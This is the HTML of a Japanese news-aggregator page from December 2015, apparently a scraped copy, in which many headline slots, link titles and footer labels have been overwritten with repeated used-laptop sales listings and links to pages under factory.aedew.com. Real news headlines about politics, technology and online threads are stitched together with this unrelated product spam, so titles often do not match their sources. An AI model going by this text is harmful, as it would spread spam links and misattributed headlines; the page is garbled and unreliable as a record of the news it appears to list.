<h2><a href="http://factory.aedew.com/images/Core2Duo/020410537r53nc.html">http://factory.aedew.com/images/Core2Duo/020410537r53nc.html</a></h2>
</div>
<div class='pickup'><div class="item detail_item">
<div class="item_status">
<span class="link_num over100">146<span>コメント</span></span>
<span class="date date_new">6 時間前 </span>
<a href="http://www.sankei.com/politics/news/151226/plt1512260001-n1.html" target="_blank" class="item_direct"> - www.sankei.com</a></div>
<div class="item_title"><a href="">【岸田外相訪韓】元慰安婦支援で日韓“折半”出資案が浮上 韓国の蒸し返しを封じる狙い(1/2ページ) - 産経ニュース</a></div>
<div class="thumbnail"><a class="trimming imgbox" href="http://ceron.jp/url/www.sankei.com/politics/news/151226/plt1512260001-n1.html" style="width:120px;height:120px;"><img src="http://img.ceron.jp/3d712f4a9f0d5a17af803c20b36a4d9d8bec0ea2.jpg" width="120" height="170" onerror="this.parentNode.style.display='none'" style="left:0px" /></a></div><p>中古パソコン 【即納】 送料無料 【訳ありの為値下げしました!】富士通 FMV-E8220 CoreDuo T2500搭載 HDD【新品】500GB搭載 15インチ(SXGA+)液晶 Office 3ヶ月保証 (P44w)中古 ! 【中古】
,中古パソコン 中古 デスク mouse computer Intel Pentium Dual-Core E2140 1.60GHz/PC2-5300 1GB/HDD 160GB/DVDマルチドライブ/Windows7 Home Premium SP1 32ビット/OSリカバリCD?OFFICE2013付き,中古パソコン 【即納】 送料無料 【訳ありの為値下げしました!】富士通 FMV-E8220 CoreDuo T2500搭載 HDD【新品】500GB搭載 15インチ(SXGA+)液晶 Office 3ヶ月保証 (P44w)中古 ! 【中古】
,中古 訳あり? 中古ノートパソコン EVEREX StepNote VC1600J Celeron T1600 1.66GHz/メモリ PC2-5300 2GB/HDD 80GB/DVDマルチドライブ/無線内蔵/Windows7 Home Premium SP1/リカバリCD? OFFICE2013付き/MRR Windows7,中古パソコン 【即納】 送料無料 【訳ありの為値下げしました!】富士通 FMV-E8220 CoreDuo T2500搭載 HDD【新品】500GB搭載 15インチ(SXGA+)液晶 Office 3ヶ月保証 (P44w)中古 ! 【中古】
,中古 中古ノートパソコン DELL Inspiron 1501 AMD Turion64 X 2 TL-50 1.6GHz/PC2-5300 2GB/HDD 120GB/DVDコンボドライブ/Windows7 Home Premium SP1 32ビット導入/リカバリCD?OFFICE2013付き</span>...[<a href="http://www.sankei.com/politics/news/151226/plt1512260001-n1.html" target="_blank">続きを読む</a>]</p>
</div>
</div><span class='debug' style='display:none;'><!--score: 27 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over20">69<span>コメント</span></span>
<span class="date date_new">7 時間前 </span>
<a href="http://www.sankei.com/politics/news/151226/plt1512260002-n1.html" target="_blank" class="item_direct"> - www.sankei.com</a></div>
<div class="item_title"><a href="">【辺野古移設問題】活動家を初の起訴 シュワブ前で機動隊員を蹴る 反対派の活動実態を解明へ(1/2ページ) - 産経ニュース</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 16 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over100">129<span>コメント</span></span>
<span class="date date_new">9 時間前 </span>
<a href="http://www.yomiuri.co.jp/world/20151225-OYT1T50134.html" target="_blank" class="item_direct"> - www.yomiuri.co.jp</a></div>
<div class="item_title"><a href="">中古パソコン 【即納】 送料無料 【訳ありの為値下げしました!】富士通 FMV-E8220 CoreDuo T2500搭載 HDD【新品】500GB搭載 15インチ(SXGA+)液晶 Office 3ヶ月保証 (P44w)中古 ! 【中古】
,中古 FUJITSUFMV-BIBLO LOOX T70H PentiumM 1.1GHz/PC-2700 768MB/HDD 80GB/DVDマルチドライブ/無線内蔵/WindowsXP Home Edition/OFFICE2013付き</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 13.5 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over100">129<span>コメント</span></span>
<span class="date date_new">9 時間前 </span>
<a href="http://headlines.yahoo.co.jp/hl?a=20151225-00050134-yom-int" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div>
<div class="item_title"><a href="/url/headlines.yahoo.co.jp/hl?a=20151225-00050134-yom-int">ソウル日本大使館前の少女像、韓国が移転を検討 (読売新聞) - Yahoo!ニュース</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 13 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over20">86<span>コメント</span></span>
<span class="date date_new">17 時間前 </span>
<a href="http://headlines.yahoo.co.jp/hl?a=20151225-00000001-jct-soci" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020410494e00bf.html">http://factory.aedew.com/images/Core2Duo/020410494e00bf.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 10 --></span>
<div class="more"><a href="http://news.yahoo.co.jp/hl?c=bus">政治・経済 をもっと見る</a></div>
</div>
<a name="area_5"></a>
<div class="item_list_box " id="area_5">
<div class="list_title">
<div class="controler"></div>
<h2><a href="">IT・テクノロジー</a></h2>
</div>
<div class='pickup'><div class="item detail_item">
<div class="item_status">
<span class="link_num over20">24<span>コメント</span></span>
<span class="date date_new">6 時間前 </span>
<a href="http://pc.watch.impress.co.jp/docs/column/mobiler/20151226_737137.html" target="_blank" class="item_direct"> - pc.watch.impress.co.jp</a></div>
<div class="item_title"><a href="">【モバイラーが憧れた名機を今風に蘇らせる】ソニー「バイオノート505エクストリーム」 ~最初にして最後の究極。これぞモバイラーのステータス - PC Watch</a></div>
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/d4cd9a68ed5dd7ad42cacbc69a1cf4fe257d279e.jpg" width="160" height="120" onerror="this.parentNode.style.display='none'" style="left:-20px" /></a></div><p>HDDは東芝製の5mm厚の1.8インチタイプ。これもフレキケーブルで接続されている
天板および底面カバーだが、店頭モデルでは「<span>ニッケル強化カーボンモールド」、ソニースタイル専用の直販モデルでは「カーボンファイバー積層板」を採用するとされている。今回入手したのは店頭モデルで、前者を採用している。“ニッケル強化カーボンモ</span>...[<a href="http://pc.watch.impress.co.jp/docs/column/mobiler/20151226_737137.html" target="_blank">続きを読む</a>]</p>
</div>
</div><span class='debug' style='display:none;'><!--score: 4 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">15<span>コメント</span></span>
<span class="date date_new">1 時間前 </span>
<a href="http://akiba-pc.watch.impress.co.jp/docs/news/news/20151226_737187.html" target="_blank" class="item_direct"> - akiba-pc.watch.impress.co.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020411488n29jc.html">http://factory.aedew.com/images/Core2Duo/020411488n29jc.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 3 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over20">97<span>コメント</span></span>
<span class="date date_new">22 時間前 </span>
<a href="http://www.itmedia.co.jp/news/articles/1512/25/news108.html" target="_blank" class="item_direct"> - www.itmedia.co.jp</a></div>
<div class="item_title"><a href="">中古一体型パソコン FUJITSU DESKPOWER FMV LX50S CeleronM 1.60GHz/PC2-5300 2GB/無線LAN内蔵/HDD 250GB/DVDマルチドライブ/Windows7 Home Premium SP1導入/リカバリCD?OFFICE2013付き</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 3 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over20">88<span>コメント</span></span>
<span class="date date_new">20 時間前 </span>
<a href="http://www.itmedia.co.jp/news/articles/1512/25/news130.html" target="_blank" class="item_direct"> - www.itmedia.co.jp</a></div>
<div class="item_title"><a href="http://ceron.jp/url/www.itmedia.co.jp/news/articles/1512/25/news130.html">4文字しか使えないコミュニケーションアプリ「Ping」 - ITmedia ニュース</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 2.5 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">13<span>コメント</span></span>
<span class="date date_new">13 時間前 </span>
<a href="http://akiba-pc.watch.impress.co.jp/docs/wakiba/find/20151225_737149.html" target="_blank" class="item_direct"> - akiba-pc.watch.impress.co.jp</a></div>
<div class="item_title"><a href="">中古 中古ノートパソコン DELL LATITUDE D610 PentiumM 2.13GHz/PC2-4200 1GB/HDD 40GB/DVDマルチドライブ/WindowsXP Pro SP3導入,中古パソコン 【即納】 送料無料 【訳ありの為値下げしました!】富士通 FMV-E8220 CoreDuo T2500搭載 HDD【新品】500GB搭載 15インチ(SXGA+)液晶 Office 3ヶ月保証 (P44w)中古 ! 【中古】
</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 1 --></span>
<div class="more"><a href="">IT・テクノロジー をもっと見る</a></div>
</div>
<a name="area_7"></a>
<div class="item_list_box " id="area_7">
<div class="list_title">
<div class="controler"></div>
<h2><a href="">科学・学問</a></h2>
</div>
<div class="item">
<div class="item_status">
<span class="link_num over20">22<span>コメント</span></span>
<span class="date date_new">3 時間前 </span>
<a href="http://nlab.itmedia.co.jp/nl/articles/1512/26/news025.html" target="_blank" class="item_direct"> - nlab.itmedia.co.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020410599g17ed.html">http://factory.aedew.com/images/Core2Duo/020410599g17ed.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 3 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">15<span>コメント</span></span>
<span class="date date_new">13 時間前 </span>
<a href="http://www.asahi.com/articles/ASHDT7KWMHDTPTIL02V.html" target="_blank" class="item_direct"> - www.asahi.com</a></div>
<div class="item_title"><a href="">阪大院教授らの研究費不正経理、2.7億円 大学が発表:朝日新聞デジタル</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 1 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">14<span>コメント</span></span>
<span class="date date_new">14 時間前 </span>
<a href="http://karapaia.livedoor.biz/archives/52207962.html" target="_blank" class="item_direct"> - karapaia.livedoor.biz</a></div>
<div class="item_title"><a href="">中古 中古ノートパソコン PANASONIC Let's NOTE CF-W2FW6AXR/PentiumM 1.2GHz/PC-2100 256MB/HDD 40GB/DVDマルチドライブ/無線LAN内蔵/WindowsXP Pro導入済み/OFFICE2013付き!</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 1 --></span>
<div class="more"><a href="">科学・学問 をもっと見る</a></div>
</div>
<a name="area_9"></a>
<div class="item_list_box " id="area_9">
<div class="list_title">
<div class="controler"></div>
<h2><a href="">2chまとめ</a></h2>
</div>
<div class='pickup'><div class="item detail_item">
<div class="item_status">
<span class="link_num over20">27<span>コメント</span></span>
<span class="date date_new">7 時間前 </span>
<a href="http://alfalfalfa.com/articles/140445.html" target="_blank" class="item_direct"> - alfalfalfa.com</a></div>
<div class="item_title"><a href="">書店「Amazonばっかで本買うのやめてや!!」←これ | 2ちゃんねるスレッドまとめブログ - アルファルファモザイク</a></div>
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/3b61c537fc58f529bf419a5c974cab5d82588790.jpg" width="213" height="120" onerror="this.parentNode.style.display='none'" style="left:-46px" /></a></div><p>14:風吹けば名無し@\(^o^)/2015/12/25(金) 10:07:08.94ID:28CoKVMbaXMAS.net焼<span>肉屋の名前みたい34:風吹けば名無し@\(^o^)/2015/12/25(金) 10:09:31.60ID:uAnL49f+0XMAS.net普通に本屋で買ってるぞ54:風吹けば名無し@\(^o^)/2015/12/25(金) 10</span>...[<a href="" target="_blank">続きを読む</a>]</p>
</div>
</div><span class='debug' style='display:none;'><!--score: 5 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">18<span>コメント</span></span>
<span class="date date_new">2 時間前 </span>
<a href="http://blog.esuteru.com/archives/8449829.html" target="_blank" class="item_direct"> - blog.esuteru.com</a></div>
<div class="item_title"><a href="">【は?】「『仏滅』『大安』などが書かれたカレンダーを回収します。差別につながるので」 ← 意味不明すぎて理解できないんだが : はちま起稿</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 4.5 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over20">66<span>コメント</span></span>
<span class="date date_new">14 時間前 </span>
<a href="http://blog.livedoor.jp/dqnplus/archives/1864971.html" target="_blank" class="item_direct"> - blog.livedoor.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020411024z96kz.html">http://factory.aedew.com/images/Core2Duo/020411024z96kz.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 4.5 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">14<span>コメント</span></span>
<span class="date date_new">2 時間前 </span>
<a href="http://alfalfalfa.com/articles/140453.html" target="_blank" class="item_direct"> - alfalfalfa.com</a></div>
<div class="item_title"><a href="">SEALDs「電車で携帯のゲームやるのは知能が低い」 | 2ちゃんねるスレッドまとめブログ - アルファルファモザイク</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 3 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">16<span>コメント</span></span>
<span class="date date_new">5 時間前 </span>
<a href="http://blog.esuteru.com/archives/8449718.html" target="_blank" class="item_direct"> - blog.esuteru.com</a></div>
<div class="item_title"><a href="">中古パソコン 【即納】 送料無料 【訳ありの為値下げしました!】富士通 FMV-E8220 CoreDuo T2500搭載 HDD【新品】500GB搭載 15インチ(SXGA+)液晶 Office 3ヶ月保証 (P44w)中古 ! 【中古】
,中古 中古ノートパソコン DELL Inspiron 1501 AMD Athlon64 X 2 TK-55 1.80GHz/PC2-5300 2GB/HDD 80GB/DVDコンボドライブ/無線LAN内蔵/Windows7 Home Premium 導入/リカバリCD?OFFICE2013付き</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 2 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">14<span>コメント</span></span>
<span class="date date_new">6 時間前 </span>
<a href="http://blog.livedoor.jp/kinisoku/archives/4554064.html" target="_blank" class="item_direct"> - blog.livedoor.jp</a></div>
<div class="item_title"><a href="">【画像】おい!クリスマスだしこの娘と野球拳しないかい:キニ速</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 2 --></span>
<div class="more"><a href="">2chまとめ をもっと見る</a></div>
</div>
<a name="area_10"></a>
<div class="item_list_box " id="area_10">
<div class="list_title">
<div class="controler"></div>
<h2><a href="">ネタ・話題・トピック</a></h2>
</div>
<div class='pickup'><div class="item detail_item">
<div class="item_status">
<span class="link_num over20">90<span>コメント</span></span>
<span class="date date_new">15 時間前 </span>
<a href="http://togetter.com/li/917078" target="_blank" class="item_direct"> - togetter.com</a></div>
<div class="item_title"><a href="">【速報】クリスマスに新たな山下達郎伝説が生まれた!? 「Gの音が出ない」と開始90分後にライブを中止 - Togetterまとめ</a></div>
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/9ff1006fb7b6091ba48b957edf5a63cce85e1079.jpg" width="120" height="159" onerror="this.parentNode.style.display='none'" style="left:0px" /></a></div><p>山下達郎盛岡コンサート、90分やったところでまさかの中止。
本人が喉の調子に納得出来ないとのこと。
来年に無料で再演しにくるとの<span>ことで、伝説に立ち合えたのはラッキーだが、クリスマスイブ聞けなかった。</span>...[<a href="" target="_blank">続きを読む</a>]</p>
</div>
</div><span class='debug' style='display:none;'><!--score: 6.5 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over20">21<span>コメント</span></span>
<span class="date date_new">6 時間前 </span>
<a href="http://nlab.itmedia.co.jp/nl/articles/1512/26/news015.html" target="_blank" class="item_direct"> - nlab.itmedia.co.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020410443p03en.html">http://factory.aedew.com/images/Core2Duo/020410443p03en.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 4 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">15<span>コメント</span></span>
<span class="date date_new">3 時間前 </span>
<a href="http://togetter.com/li/917238" target="_blank" class="item_direct"> - togetter.com</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020410477g21ki.html">http://factory.aedew.com/images/Core2Duo/020410477g21ki.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 3 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over20">80<span>コメント</span></span>
<span class="date">2015-12-25 12:31</span>
<a href="http://togetter.com/li/916919" target="_blank" class="item_direct"> - togetter.com</a></div>
<div class="item_title"><a href="">中古 Webカメラ付き 中古ノートパソコン SONY VAIO VPCEB18FJ Core i5 430M 2.26GHz/PC3-8500 4GB/HDD 500GB/ブルーレイディスクドライブ/無線LAN?Bluetooth内蔵/Windows7 Home Premium SP1 32ビット/リカバリCD?OFFICE2013付き</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 2.5 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over20">62<span>コメント</span></span>
<span class="date">2015-12-25 08:36</span>
<a href="http://d.hatena.ne.jp/ikkou2otosata0/touch/20151225/1450992232" target="_blank" class="item_direct"> - d.hatena.ne.jp</a></div>
<div class="item_title"><a href="">オッケー、キリスト。ところで、あたしの誕生日の話も聞いとく? - 私の時代は終わった。</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 2 --></span>
<div class="item">
<div class="item_status">
<span class="link_num over3">17<span>コメント</span></span>
<span class="date date_new">12 時間前 </span>
<a href="http://togetter.com/li/917157" target="_blank" class="item_direct"> - togetter.com</a></div>
<div class="item_title"><a href="">中古パソコン 【即納】 送料無料 【訳ありの為値下げしました!】富士通 FMV-E8220 CoreDuo T2500搭載 HDD【新品】500GB搭載 15インチ(SXGA+)液晶 Office 3ヶ月保証 (P44w)中古 ! 【中古】
,中古パソコン 中古ノートパソコン DELL Vostro 1510 Celeron 550 2.0GHz/PC2-5300 2GB/HDD 80GB/無線内蔵/DVDマルチドライブ/Windows7 Home Premium 導入/リカバリCD?OFFICE2013付き中古</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 1.5 --></span>
<div class="more"><a href="">ネタ・話題・トピック をもっと見る</a></div>
</div>
<script type="text/javascript">
//現在のセッティングを読み込み
var setting = "ct:news:5;ct:society:5;ct:entertainment:5;ct:sports:5;ct:itnews:5;ct:international:3;ct:science:3;ct:odekake:3;ct:2ch:6;ct:neta:6;";
var setting_list = new Array();
setting_split = setting.split(";");
for (var i = 0; i < setting_split.length; i++) {
if(!setting_split[i]){continue};
if(m = setting_split[i].match(/^([a-z]*):(.*):(d*)$/)){
setting_list[i+1] = new Array(m[1],m[2],m[3]);
}else{
setting_list[i+1] = new Array();
}
}
controler_set();
</script>
<!-- 以下カスタム用HTML -->
<div id="edit_area_module" style="display:none;">
<div id="edit_area_AREAID" style="display:none;margin-bottom: 1em;">
<div class="list_title" style="text-align:right;font-size:85%;font-weight:100;">
<a href="javascript:void(0);" onclick="area_change_cancel(AREAID)">キャンセル</a>
<div class="controler" style="display:none;"></div>
</div>
<div id="edit_area_inner_AREAID" style="border:8px solid #ccc;padding:3em 15%;font-size:90%;">
<h3>AREAID 番目のエリア</h3>
<p>このエリアに表示するニュースを設定します。</p>
<div id="edit_area_1_AREAID">
<select id="select_1_AREAID" onchange="edit_area_2(AREAID)" style="margin-top:1em;">
<option value="">▼表示内容を選んでください▼</option>
<option value="ct">カテゴリから選ぶ</option>
<option value="kw">任意のキーワードを指定する</option>
</select>
</div>
<br />
<div id="edit_area_2ct_AREAID" style="display:none;">
<select id="select_2ct_AREAID">
<option value="">▼カテゴリを選んでください▼</option>
<option value="all">すべての記事</option>
<option value="news">ニュース総合</option>
<option value="society">政治・経済</option>
<option value="international">海外ニュース</option>
<option value="entertainment">エンタメ</option>
<option value="sports">スポーツ</option>
<option value="itnews">IT・テクノロジー</option>
<option value="science">科学・学問</option>
<option value="odekake">おでかけ・イベント</option>
<option value="2ch">2chまとめ</option>
<option value="neta">ネタ・話題・トピック</option>
<option value="movie">動画</option>
<option value="other">その他のニュース</option>
</select>
</div>
<div id="edit_area_2kw_AREAID" style="display:none;">
キーワードを入力してください。<input id="select_2kw_AREAID" type="text" value="KEYWORD" size="32" /><br />
<div style="font-size:85%;color:#666;background:#eee;padding:0.5em;margin:0.5em 0;">
入力したキーワードにヒットするニュースが配信されます。<br />
<b>複数指定</b>「AAA BBB」:スペースで区切るとAAAかつBBBにマッチする記事を配信します。<br />
<b>OR指定</b>「AAA OR BBB」:AAAまたはBBBにマッチする記事を配信します。ORはパイプ(|)も可。<br />
<b>特定のサイトを指定</b>「site:[URL]」:特定のURLにマッチする記事を配信します。<br />
<b>除外指定</b>「-XXX」:マイナスを付けると「XXX」にマッチする記事を除外します。
</div>
</div>
<div id="edit_area_3num_AREAID" style="display:none;">
表示する数:<select id="select_3num_AREAID">NUMLIST</select>
</div>
<br />
<div style="line-height:2.5;">
<input type="button" value=" 決定 " onclick="area_change_save(AREAID)" style="font-size:150%;"/><br />
<input type="button" value="キャンセル" onclick="area_change_cancel(AREAID)" />
<input type="button" value="このエリアを削除" onclick="area_delete(AREAID)" />
<input type="button" value="この下にエリアを追加" onclick="area_add(AREAID)" />
<br />
<input type="button" value="1つ上へ移動" onclick="area_move(AREAID,-1)" />
<input type="button" value="1つ下へ移動" onclick="area_move(AREAID,1)" />
</div>
</div>
</div>
</div>
<!-- カスタム用HTMLここまで -->
<div id="top_guidance"> </div><div class='pagenavi'><a href=''>全カテゴリ横断</a> <a href=''>昨日のランキング</a> </div><script type="text/javascript">footerbox_ad();</script></div>
</div>
<div id="side_column">
<div id="side_column_inner">
<div id="sidefollow">
<script type="text/javascript">sidebox_ad1()</script>
<div id="side_flash" style="margin-bottom:4px;">
<div class="list_title"><h2><a href="">速報</a></h2></div>
<div class="item_list_box"><div class="item">
<div class="item_status">
<span class="link_num over20">21<span>コメント</span></span>
<span class="date date_new">42 分前 </span>
<a href="http://news.line.me/list/886887b5/63a4858e236b" target="_blank" class="item_direct"> - news.line.me</a></div>
<div class="item_title"><a href="">2016年新ヒーロー戦隊は「動物戦隊ジュウオウジャー」 - LINE NEWS</a></div>
</div>
<div class="item">
<div class="item_status">
<span class="link_num over3">11<span>コメント</span></span>
<span class="date date_new">42 分前 </span>
<a href="http://news.line.me/list/886887b5/eee8981f1889" target="_blank" class="item_direct"> - news.line.me</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020410597i52hw.html">http://factory.aedew.com/images/Core2Duo/020410597i52hw.html</a></div>
</div>
<div id="side_imgs" style="margin-bottom:4px;">
<div class="list_title"><h2><a href="">画像で見る主要ニュース</a></h2></div>
<div class="item_list_box"><div class="item_box">
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/db592e52fb3695e73bb88902c6c90a5b239cd30b.jpg" width="120" height="120" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:0px" /></a></div>
<div class="item_status">
<span class="link_num over500">506<span>コメント</span></span>
<span class="date date_new">4 時間前 </span>
<a href="http://headlines.yahoo.co.jp/hl?a=20151226-00050002-yom-soci" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div>
<div class="item_title"><a href="">大安・仏滅…記載は不適切、県がカレンダー回収 (読売新聞) - Yahoo!ニュース</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 67 --></span>
<div class="item_box">
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/770aec9bed626d0714c63dd827bad4f4c20876b2.jpg" width="120" height="172" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:0px" /></a></div>
<div class="item_status">
<span class="link_num over100">387<span>コメント</span></span>
<span class="date date_new">4 時間前 </span>
<a href="http://headlines.yahoo.co.jp/hl?a=20151226-00000062-san-sctch" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020411018n69rd.html">http://factory.aedew.com/images/Core2Duo/020411018n69rd.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 28 --></span>
<div class="item_box">
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/f2a5b22bc8e16c4289aaf7767c8ef71cce9c4104.jpg" width="120" height="129" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:0px" /></a></div>
<div class="item_status">
<span class="link_num over100">134<span>コメント</span></span>
<span class="date date_new">6 時間前 </span>
<a href="http://headlines.yahoo.co.jp/hl?a=20151226-00000004-nksports-socc" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div>
<div class="item_title"><a href="">柿谷曜一朗C大阪復帰 違約金大幅減少で完全移籍へ (日刊スポーツ) - Yahoo!ニュース</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 26 --></span>
<div class="item_box">
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/3d712f4a9f0d5a17af803c20b36a4d9d8bec0ea2.jpg" width="120" height="170" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:0px" /></a></div>
<div class="item_status">
<span class="link_num over100">145<span>コメント</span></span>
<span class="date date_new">6 時間前 </span>
<a href="http://www.sankei.com/politics/news/151226/plt1512260001-n1.html" target="_blank" class="item_direct"> - www.sankei.com</a></div>
<div class="item_title"><a href="">中古パソコン Webカメラ付き? 中古一体型パソコン SONY VGC-LA70B Core Duo T2300 1.66GHz/PC2-4200 2GB/HDD 200GB/DVDマルチドライブ/無線LAN内蔵/WindowsVista導入/OFFICE2013付き 中古,中古パソコン 【即納】 送料無料 【訳ありの為値下げしました!】富士通 FMV-E8220 CoreDuo T2500搭載 HDD【新品】500GB搭載 15インチ(SXGA+)液晶 Office 3ヶ月保証 (P44w)中古 ! 【中古】
</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 26 --></span>
<div class="item_box">
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/3df371797c2edb03a03491018247c6d1d6d51e42.jpg" width="160" height="120" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:-20px" /></a></div>
<div class="item_status">
<span class="link_num over20">62<span>コメント</span></span>
<span class="date date_new">2 時間前 </span>
<a href="http://headlines.yahoo.co.jp/hl?a=20151226-00010000-chibatopi-l12" target="_blank" class="item_direct"> - headlines.yahoo.co.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020410507z31dv.html">http://factory.aedew.com/images/Core2Duo/020410507z31dv.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 12 --></span>
<div class="item_box">
<div class="thumbnail"><a class="trimming imgbox" href="" style="width:120px;height:120px;"><img src="http://img.ceron.jp/5f191d984c12ff6d166bf0cb65f99c56fedea305.jpg" width="180" height="120" onerror="this.src='/img/no_image.gif';this.width='120';this.height='120';" style="left:-30px" /></a></div>
<div class="item_status">
<span class="link_num over20">50<span>コメント</span></span>
<span class="date date_new">4 時間前 </span>
<a href="http://news.nicovideo.jp/watch/nw1961232" target="_blank" class="item_direct"> - news.nicovideo.jp</a></div>
<div class="item_title"><a href="http://factory.aedew.com/images/Core2Duo/020411405s18hi.html">http://factory.aedew.com/images/Core2Duo/020411405s18hi.html</a></div>
</div>
<span class='debug' style='display:none;'><!--score: 11 --></span>
<div class="more"><a href="">もっと画像で見る</a></div></div>
</div>
</div>
</div>
</div>
</div><!-- end field_inner -->
</div><!-- end field-->
<div id="footer_menu_bar" class="menu_bar">
<div id="footer_menu_bar_inner" class="menu_bar_inner"><ul><li><a href="/" class="selected">トップ</a></li><li><a href="/all/newitem/">速報</a></li><li><a href="/news/">ニュース総合</a></li><li><a href="/society/">政治経済</a></li><li><a href="/entertainment/">エンタメ</a></li><li><a href="/sports/">スポーツ</a></li><li><a href="/itnews/">IT</a></li><li><a href="/international/">海外</a></li><li><a href="/science/">科学</a></li><li><a href="/odekake/">おでかけ</a></li><li><a href="/movie/">動画</a></li><li><a href="/2ch/">2ch</a></li><li><a href="/neta/">ネタ</a></li><li><a href="/all/">すべて</a></li></ul></div>
</div><!-- /menu_bar -->
<div id="footer">
<div id="footer_inner">
<a href="" title="中古パソコン 【即納】 送料無料 【訳ありの為値下げしました!】富士通 FMV-E8220 CoreDuo T2500搭載 HDD【新品】500GB搭載 15インチ(SXGA+)液晶 Office 3ヶ月保証 (P44w)中古 ! 【中古】
"><img src="/img/logo_s.png" width="64px" height="32px" /></a>
<span class="icon_set">
<a href="" title="RSS" class="icon icon_rss"></a>
<a href="http://www.twitter.com/" target="_blank" title="twitter中古パソコン 【即納】 送料無料 【訳ありの為値下げしました!】富士通 FMV-E8220 CoreDuo T2500搭載 HDD【新品】500GB搭載 15インチ(SXGA+)液晶 Office 3ヶ月保証 (P44w)中古 ! 【中古】
" class="icon icon_twitter"></a>
<a href="https://www.facebook.com/" target="_blank" title="facebook中古パソコン 【即納】 送料無料 【訳ありの為値下げしました!】富士通 FMV-E8220 CoreDuo T2500搭載 HDD【新品】500GB搭載 15インチ(SXGA+)液晶 Office 3ヶ月保証 (P44w)中古 ! 【中古】
" class="icon icon_facebook"></a>
</span>
<br />
<a href="">このサイトについて</a> -
<a href="">ご意見・お問い合わせ</a> -
<a href="">中古パソコン 【即納】 送料無料 【訳ありの為値下げしました!】富士通 FMV-E8220 CoreDuo T2500搭載 HDD【新品】500GB搭載 15インチ(SXGA+)液晶 Office 3ヶ月保証 (P44w)中古 ! 【中古】
</a>
<br /><br />
<div class="footer_copyright">
<a href="">天気アプリ</a> |
<a href="">中古パソコン 【即納】 送料無料 【訳ありの為値下げしました!】富士通 FMV-E8220 CoreDuo T2500搭載 HDD【新品】500GB搭載 15インチ(SXGA+)液晶 Office 3ヶ月保証 (P44w)中古 ! 【中古】
</a> |
<a href="">画像検索</a> |
<a href="">Android音楽プレイヤー</a> |
<a href="">メモ帳アプリ</a>
</div>
